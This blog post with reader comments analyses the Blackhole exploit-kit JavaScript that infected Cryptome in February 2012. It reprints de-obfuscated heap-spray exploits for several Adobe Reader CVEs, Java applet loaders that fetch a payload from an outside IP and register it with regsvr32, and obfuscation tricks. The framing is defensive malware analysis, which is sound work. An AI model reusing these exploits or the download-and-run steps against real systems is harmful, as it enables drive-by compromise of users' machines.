UPDATE 2012-05-21: see this comment added by Eric Gerds, author of PluginDetect. PluginDetect is legitimate software that is misappropriated by malware authors. PluginDetect != malware.
UPDATE 2012-02-19: by request I added the decompiled Java from obe.jar/rin.jar, see inline links.
UPDATE 2012-02-16: Cryptome links to prior art from Dec 12th 2011. It has visuals and more elaborate explanations. Good stuff!
UPDATE 2012-02-15: I added section “Obfuscation”.
On February 12th 2012, Cryptome disclosed that between February 8th-12th 2012 it had been temporarily infected by what appears to be Blackhole Toolkit Website 12. I manually de-obfuscated and commented the stuff loaded by this de-obfuscated malicious Javascript that is included by afg.php that is included by each of 1000s of .htm files on Cryptome. These are my technical notes. The shellcodes in variables bjsg, _l1 and _l2 still need to be analyzed. I will update this post when I complete that.
1. Analysis of behavior
/* —- check whether browser = MSIE6/7/8 & IP in range; if yes, include via IFRAME http://65.75.137.243/Home/index.php <— ONE-TIME disclosure of malicious Javascript per IP address. Second etc. request get no code. */
1) check versions of Java, Adobe Reader, Flash
(….)
PluginDetect.initScript();
PluginDetect.getVersion(“.”);
jver = PluginDetect.getVersion(“Java”, “./getJavaInfo.jar”);
pdfver = PluginDetect.getVersion(“AdobeReader”);
flashver = PluginDetect.getVersion(‘Flash’);
(…)
/// —- based on Java version, embed applet —- ///
1a) iff Java 6.0.0-28, embed rin.jar <—- contents of rin.jar (not-so-gracefully) decompile to Wiki.java.
function spl0() {
if (jver[1] == 6 && jver[3] <= 28) {
var f = document.createElement(‘applet’);
f.setAttribute(‘code’, ‘Wiki.class’);
f.setAttribute(‘archive’, ‘./content/rin.jar’); –>
var p = document.createElement(‘param’);
p.setAttribute(‘name’, ‘p’);
p.setAttribute(‘value’, ‘vssMlgg=9Po9Pd%oP35%gOFU6gYPMvM-Vcd=G6cr’); // <—– http://65.75.137.243/Home/w.php?f=16&e=0
f.appendChild(p);
document.body.appendChild(f);
}
spl1()
}
1b) iff Java < 6, embed obe.jar <— contents of obe.jar (gracefully) decompile to b.java, f.java, Plugin.java, q.java and v.java.
–> from the Java code:
–> iff os.name contains “Windows”
–> malfile = HTTP GET http://65.75.137.243/Home/w.php?f=16&e=1, retrieved via FileOutputStream (I get 0 bytes)
–> regsvr32 -s malfile // via Object.exec(); unused parameters “df567y”, “sdg7a”
function spl1() {
if (jver[1] < 6) {
var f = document.createElement(‘applet’);
f.setAttribute(‘code’, ‘chrome.Plugin.class’);
f.setAttribute(‘archive’, ‘./content/obe.jar’); ——> HTTP GET to http://65.75.137.243/Home/w.php?f=16&e=1 ////////////////////package chrome; if (jver[1] == 6 && jver[3] <= 28) does HTTP GET to http://65.75.137.243/Home/w.php?f=16&e=0 // NEVER HAPPENS;
var p = document.createElement(‘param’);
p.setAttribute(‘name’, ‘p’);
p.setAttribute(‘value’, ‘vssMlgg=9Po9Pd%oP35%gOFU6gYPMvM-Vcd=G6cd’); // <—– http://65.75.137.243/Home/w.php?f=16&e=1
f.appendChild(p);
document.body.appendChild(f);
}
spl2()
}
1c) do nothing
function spl2() {
spl3()
}
/// —- based on Adobe Reader version, include malicious pdf via IFRAME —- ///
1d) iff Adobe Reader 1-7
function spl3() {
if (pdfver[0] > 0 && pdfver[0] < 8) {
show_pdf(‘./content/adp1.php?f=16’)
//==================================================================================
function ezvr(ra, qy) {
while (ra.length * 2 < qy) {
ra += ra;
}
ra = ra.substring(0, qy / 2);
return ra;
}
//———–
// EXPLOIT 1: CVE-2007-5659 –> Collab.collectEmailInfo()
// –> executed iff EScript-version is {6,7} AND appviewer-version < 7.11
// –> VERY similar code seen at e.g. http://pastebin.com/TC8hN7we (Jan 29th 2012)
//———–
function bx() {
var dkg = new Array();
var vw = 0x0c0c0c0c;
var addr = 0x400000;
var payload = unescape(bjsg); <——– SHELLCODE
var sc_len = payload.length * 2;
var qy = addr – (sc_len + 0x38);
var yarsp = unescape(“%u9090%u9090”);
yarsp = ezvr(yarsp, qy);
var count2 = (vw – 0x400000) / addr;
for (var count = 0; count < count2; count++) {
dkg[count] = yarsp + payload;
}
var overflow = unescape(“%u0c0c%u0c0c”);
while (overflow.length < 44952) {
overflow += overflow;
}
this.collabStore = Collab.collectEmailInfo({
subj: “”,
msg: overflow
});
}
//———–
// EXPLOIT 2: CVE-2008-2992 –> util.printf()
// –> executed if EScript version == 7.1
// –> very similar code seen at e.g. http://pastebin.com/ay7vx9dS (Jan 27th, 2012) and http://downloads.securityfocus.com/vulnerabilities/exploits/30035.c (Nov 6th, 2008)
//———–
function printf() {
nop = unescape(“%u0A0A%u0A0A%u0A0A%u0A0A”);
var payload = unescape(bjsg); <——– SHELLCODE
heapblock = nop + payload;
bigblock = unescape(“%u0A0A%u0A0A”);
headersize = 20;
spray = headersize + heapblock.length;
while (bigblock.length < spray) {
bigblock += bigblock;
}
fillblock = bigblock.substring(0, spray);
block = bigblock.substring(0, bigblock.length – spray);
while (block.length + spray < 0x40000) {
block = block + block + fillblock;
}
mem = new Array();
for (i = 0; i < 1400; i++) {
mem[i] = block + heapblock;
}
var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf(“%45000f”, num);
}
//———–
// EXPLOIT 3: CVE-2009-0927 –> Collab.getIcon
// –> executed iff EScript version == 9 OR (appviewer-version == 8 AND EScript-version <=8.12)
// –> very similar code observed e.g. at http://pastebin.com/TC8hN7we (Jan 29th 2012) and http://jsunpack.jeek.org/dec/go?report=f0ecb4de6d3ec7d1a507cf44fee4ce6f26bb9197 (Mar 3rd 2011)
//———–
function geticon() {
var arry = new Array();
if (app.doc.Collab.getIcon) {
var payload = unescape(bjsg); <——– SHELLCODE
var hWq500CN = payload.length * 2;
var qy = 0x400000 – (hWq500CN + 0x38);
var yarsp = unescape(“%u9090%u9090”);
yarsp = ezvr(yarsp, qy);
var p5AjK65f = (0x0c0c0c0c – 0x400000) / 0x400000;
for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y++) {
arry[vqcQD96y] = yarsp + payload;
}
var tUMhNbGw = unescape(“%09”);
while (tUMhNbGw.length < 0x4000) {
tUMhNbGw += tUMhNbGw;
}
tUMhNbGw = “N.” + tUMhNbGw;
app.doc.Collab.getIcon(tUMhNbGw); // BAM
}
}
aPlugins = app.plugIns;
var sv = parseInt(app.viewerVersion.toString().charAt(0));
for (var i = 0; i < aPlugins.length; i++) {
if (aPlugins[i].name == “EScript”) {
var lv = aPlugins[i].version;
}
}
//——–
// this version-based branching is similar to http://wepawet.cs.ucsb.edu/view.php?hash=dfe388f17445fb4c102b52e0692258ba&t=1268952889&type=js
// except that the below also includes the WEIRD branch for “(lv >= 9.1) || (lv <= 9.2) || (lv >= 8.13) || (lv <= 8.17)” which is ALWAYS TRUE
/——–
if ((lv == 9) || ((sv == 8) && (lv <= 8.12))) { // geticon() exploit iff EScript-version=9 OR (EScript-version<=8.12 AND appreader-version=8)
geticon();
} else if (lv == 7.1) { // util.printf() exploit iff EScript=7.1
printf();
} else if (((sv == 6) || (sv == 7)) && (lv < 7.11)) { // Collab.collectEmailInfo() CVE-2007-5659 iff (EScript-version=6/7 && appviewer-version < 7.11)
bx();
} else if ((lv >= 9.1) || (lv <= 9.2) || (lv >= 8.13) || (lv <= 8.17)) { // ALWAYS TRUE =) EScript >=9.1 of <=9.2 of >=8.13 of <=8.17
//———–
// EXPLOIT 4a CVE-2008-0015
// –> executed multiple times, within branch for EScript-version = (> 8.12 and < 8.2)
// –> code very similar to http://praetorianprefect.com/archives/2009/12/adobe-util-printd-zero-day/ (Dec 16th, 2009)
//———–
function a() {
util.printd(“p@111111111111111111111111 : yyyy111”, new Date());
}
var h = app.plugIns;
for (var f = 0; f < h.length; f++) {
if (h[f].name == “EScript”) {
var i = h[f].version;
}
}
if ((i > 8.12) && (i < 8.2)) { // indien EScript-versie is > 8.12 en < 8.2
c = new Array();
var d = unescape(“%u9090%u9090”);
var e = unescape(bjsg); <——– SHELLCODE
while (d.length <= 0x8000) {
d += d;
}
d = d.substr(0, 0x8000 – e.length);
for (f = 0; f < 2900; f++) {
c[f] = d + e;
}
a(); // 1st run of CVE-2008-0015
a(); // 2nd run of CVE-2008-0015
try {
//———–
// EXPLOIT 4b CVE-2009-4324
// –> see http://vrt-blog.snort.org/2009/12/adobe-reader-medianewplayer-analysis.html
//———–
this.media.newPlayer(null);
} catch (e) {}
a(); // 3rd run of CVE-2008-0015
}
}
1e) iff Adobe Reader=8 or Adobe Reader =9.3
} else if ((pdfver[0] == 8) || (pdfver[0] == 9 && pdfver[1] <= 3)) {
show_pdf(‘./content/adp2.php?f=16’)
//——-
// EXPLOIT 1 CVE-2010-0188 –> Libtiff integer overflow in Adobe Reader and Acrobat
// See http://wepawet.cs.ucsb.edu/view.php?hash=d2e2808326ad7ba4cecc2bfe40279953&t=1327335294&type=js
//——-
var padding;
var bbb, ccc, ddd, eee, fff, ggg, hhh;
var pointers_a, i;
var x = new Array();
var y = new Array();
_l3 = app;
_l4 = new Array();
function _l5() {
var _l6 = _l3.viewerVersion.toString();
_l6 = _l6.replace(‘.’, ”);
while (_l6.length < 4) _l6 += ‘0’;
return parseInt(_l6, 10)
}
function _l7(_l8, _l9) {
while (_l8.length * 2 < _l9) _l8 += _l8;
return _l8.substring(0, _l9 / 2)
}
function _I0(_I1) {
_I1 = unescape(_I1);
roteDak = _I1.length * 2;
dakRote = unescape(‘%u9090’);
spray = _l7(dakRote, 0x2000 – roteDak);
loxWhee = _I1 + spray;
loxWhee = _l7(loxWhee, 524098);
for (i = 0; i < 400; i++) _l4[i] = loxWhee.substr(0, loxWhee.length – 1) + dakRote;
}
function _I2(_I1, len) {
while (_I1.length < len) _I1 += _I1;
return _I1.substring(0, len)
}
function _I3(_I1) {
ret = ”;
for (i = 0; i < _I1.length; i += 2) {
b = _I1.substr(i, 2);
c = parseInt(b, 16);
ret += String.fromCharCode(c);
}
return ret
}
function _ji1(_I1, _I4) {
_I5 = ”;
for (_I6 = 0; _I6 < _I1.length; _I6++) {
_l9 = _I4.length;
_I7 = _I1.charCodeAt(_I6);
_I8 = _I4.charCodeAt(_I6 % _l9);
_I5 += String.fromCharCode(_I7 ^ _I8);
}
return _I5
}
function _I9(_I6) {
_j0 = _I6.toString(16);
_j1 = _j0.length;
_I5 = (_j1 % 2) ? ‘0’ + _j0 : _j0;
return _I5
}
function _j2(_I1) {
_I5 = ”;
for (_I6 = 0; _I6 < _I1.length; _I6 += 2) {
_I5 += ‘%u’;
_I5 += _I9(_I1.charCodeAt(_I6 + 1));
_I5 += _I9(_I1.charCodeAt(_I6))
}
return _I5
}
function _j3() {
_j4 = _l5();
if (_j4 < 9000) {
_j5 = ‘o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK’;
_j6 = _l1;
_j7 = _I3(_j6)
} else {
_j5 = ‘kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK’;
_j6 = _l2;
_j7 = _I3(_j6)
}
_j8 = ‘SUkqADggAABB’;
_j9 = _I2(‘QUFB’, 10984);
_ll0 = ‘QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////’;
_ll1 = _j8 + _j9 + _ll0 + _j5;
_ll2 = _ji1(_j7, ”);
if (_ll2.length % 2) _ll2 += unescape(”);
_ll3 = _j2(_ll2);
with({
k: _ll3
}) _I0(k);
qwe123b.rawValue = _ll1
}
_j3();
//==================================================================================
}
spl4()
}
1f) do nothing
function spl4() {
spl5()
}
1g) wait
function spl5() {
setTimeout(end_redirect, 8000)
}
As stated above: the shellcodes in variables bjsg, _l1 and _l2 still need to be analyzed.
Random observation: the code refers to many different OSs and browsers. Example:
d = [“Win”, 1, “Mac”, 2, “Linux”, 3, “FreeBSD”, 4, “iPhone”, 21.1, “iPod”, 21.2, “iPad”, 21.3, “Win” + “.*CE”, 22.1, “Win.*Mobile”, 22.2, “Pockets*PC”, 22.3, “”, 100];
c.isGecko = (/Gecko/i).test(h) && 1 && (/Geckos*/s*d/i).test(i);
c.isSafari = (/Safaris*/s*d/i).test(i) && (/Apple/i).test(g);
c.isChrome = (/Chromes*/s*(d[d.]*)/i).test(i);
c.isOpera = (/Operas*[/]?s*(d+.?d*)/i).test(i);
c.isIE = new Function(“return ” + e + “*@” + “cc_on!@*” + e + “fa” + “lse”)();
2. Obfuscation
‘Obfuscation’ refers to hiding program flow and variables to make it difficult for humans and computers to understand WHAT a program does (e.g. intercept keystrokes, attack others systems, avoid detection) and HOW (e.g. SetWindowsHookEx, nmap + exploit remote vulns in Windows, rootkit techniques), including network connectivity.
Here are examples of obfuscation found in the Blackhole malware.
1) in afg.php we observe:
1a) example 1:
$dfjgkbl=base64_decode(‘aHR0cDovLzY1Ljc1LjEzNy4yNDMvSG9tZS9pbmRleC5waHA=’);
in stead of simply:
$dfjgkbl=”http://65.75.137.243/Home/index.php”;
or even more simply, using a clearly-named variable:
$url=”http://65.75.137.243/Home/index.php”;
1b) example 2:
$OOOOOO000 = “MSIE”
in stead of simply:
$browser = “MSIE”
2) in the content included from http://65.75.137.243/Home/index.php we observe
2a) example 3:
<em>58a#69a#57a#75a#67a#59a#68a#74a#4a#77a#72a#63a (….) </em>
<script>
// a) ‘decipher’ what is between <em></em>
// b) execute that as Javascript
(….)
</script>
in stead of simply:
<output of (a) here>
2b) example 4:
e=eval;
st=e(‘S’+’tring’);
in stead of simply:
st=eval(‘String’);
3) in the content included by the malicious Javascript in (2) we observe
3a) example 5, in Plugin.java (=decompiled version of Plugin.class inside obe.jar);
public String d = e(“h6FeWh6Feih6Fendh6Feh6Feoh6Fewh6Fesh6Fe”.split(“h6Fe”));
public static String e(String[] p1)
{ // de-obfuscate
StringBuffer l1 = new StringBuffer(“”);
for (int i = 0; i < p1.length; l1.append(p1[(i++)].trim()));
return l1.toString();
}
in stead of simply:
public String d = “Windows”;
3b) example 6, in the ADP2-PDF, we observe
function test(){
return w(s.join(”)); // <— final step of de-obfuscation
}
x=’e’;
ar={q:’0^1^2^3^4^1^5^5^ (….) }[‘q’]; // <——- obfuscated Javascript
// start of lots of small de-obfuscation steps:
cc={q:”var pding;b,cefhots_x=wAy()l1″420657839u{.VS’<+I}*/DkR%-W[]mCj^?:LBKQYEUqFM”}.q;
q=x+’v’;
q+={q:’qwe’,w:’l’,’cq’:’a’}.cq;
q+={q:’qwe’,w:’l’,’cq’:’a’}.w;
a=([]+Date).substr(2,3);
aa=([123,412].unshift+[1,’a’][1].indexOf).substr(2,3);
if (aa==a){
e=’3vtwe’.substr;
w=e(12)[q];
s=[];
ar=ar.split(‘^’);
n=cc;
for(i=0;i-ar.length<0;i++){
s[i]=n[ar[i]];
}
test();
}
instead of simply:
<output of test() here>
i recently had my gmail account hacked and started sending pdf’s out with this payload. still puzzled on how my gmail account got compromised 🙁
If you have a sample, please send it to me. I’d like to see to what extent your sample is (dis)similar.
This Pastebin user posted similar code-snippets just before the Cryptome-infection (which occurred on Feb 8th, detected on Feb 12th):
http://pastebin.com/u/shixiliufang
I just received such a malicious PDF per Mail. For the moment i decoded an huge Array of numbers, and some code which is like Your example 3b. Unfortunaly i’m not to tough with javascript and don’t have a clue what some notations mean.
Could You provide me with some hints?
Here is the design of the code in snippets:
if(app)ar=[];
function test3()
{
if(s)v=ar[z];
s=s+cc[v+4];
}
cc={q:”var pding;b,cefhots_x=wAy()l1’420657839u{.VS'<+I}*/DkR%-W[]mCj^?:LBKQYEUqFM”}.q;
qq=’ghej4vabl’;
q=qq[2]+qq[5]+qq[6];
q=q+qq[8];
// I guess q = “eval”
b={v:{q:{x:this}}}.v.q.x;
w={v:b[q]}.v;
s=Array();
n={v:cc}.v;
for(i=0;i-3950<0;i++){z=i;test3();}
w(s);
Could You help me, understand the lines which begin with cc, b, w and n?
I gues w is something wich will execute the code wich will be put into s, but i don’t get it how w becomes this thing.
Thanks in Advance
1) cc={q:”var pding;b,cefhots_x=wAy()l1’420657839u{.VS'<+I}*/DkR%-W[]mCj^?:LBKQYEUqFM”}.q;
…can be rewritten as:
cc=”var pding;b,cefhots_x=wAy()l1’420657839u{.VS'<+I}*/DkR%-W[]mCj^?:LBKQYEUqFM”;
2) b={v:{q:{x:this}}}.v.q.x;
…can be rewritten as:
b=this;
3) n={v:cc}.v;
…can be rewritten as:
n=cc;
4) w={v:b[q]}.v;
…can be rewritten as:
w=b[q];
5) Indeed, q=”eval” and w(s) is interpreted as eval(s)
Does this help?
Thanks a lot,
this obfuscation methods are some kind of genius things. But i guess, these days the code is obfuscated by some automatic generators, so that any “script kiddie” could obfuscate its code.
I didn’t know that a construct like {v:’some text’}.v could represent ‘some text’ itself, i can’t get any reasonable idea why such syntax would be used for other things than obfuscation.
I guess the n=cc line is simply for distraction, because n is never used again (or maybe it will be used in the decoded code).
Now i can also guess how the malicious is code stored in the array. It could be decoded by using the cc-array as an alphabet, and the numbers in the big array are only representing the position in the alphabet-array.
Thanks a lot again. I’m new in the “security scene” and try to understand my “enemies & foes” as much as i can.
What does “if(app)ar[]” do exactly. When trying to run it the interpreter seem to complain about “app”
I am the author of PluginDetect, which is a legitimate Javascript library used to detect browser plugins. It is free of any malware/viruses/trojans. Unfortunately, some folks out there are using my software to detect vulnerable or out of date plugins, and then exploit that info to spread their malware.
My problem is this: an antivirus software sometimes (rarely) will say that PluginDetect is malware, when clearly it is not (ie. a false positive). I think PluginDetect sometimes can trigger a false positive because it can appear in the same Javascript file along with ACTUAL malware, and then PluginDetect gets the blame by the AntiVirus vendors.
On your page http://cyberwar.nl/d/20120214_Cryptome_malware/20120214_Cryptome_malwareJS1.txt
All the code from:
var PluginDetect = {…}
up to and including:
PluginDetect.initScript();
is MY code, is legitimate, and contains no actual malware. The rest of it is not mine and is malware.
My problem is that I do not know how to minimize the false positives that some AntiVirus scanners may give when scanning my PluginDetect script. Obviously I cannot stop any nefarious individuals from using PluginDetect, but it would nice if there were a way to reduce the false positives.
[The AntiVirus folks are usually very good in correcting the false positives when they are reported, btw]
Anyone have any ideas?
Eric
Eric, I updated the post with a link to your comment. Thanks for commenting, very useful contribution. I have no idea how to prevent bad use of good code. I can only think of obfuscation + whitelisting, but in the end, the code will be executed in a client-side JavaScript interpreter and can easily be recovered / reverse engineered.
Let me echo your question: anyone have any ideas?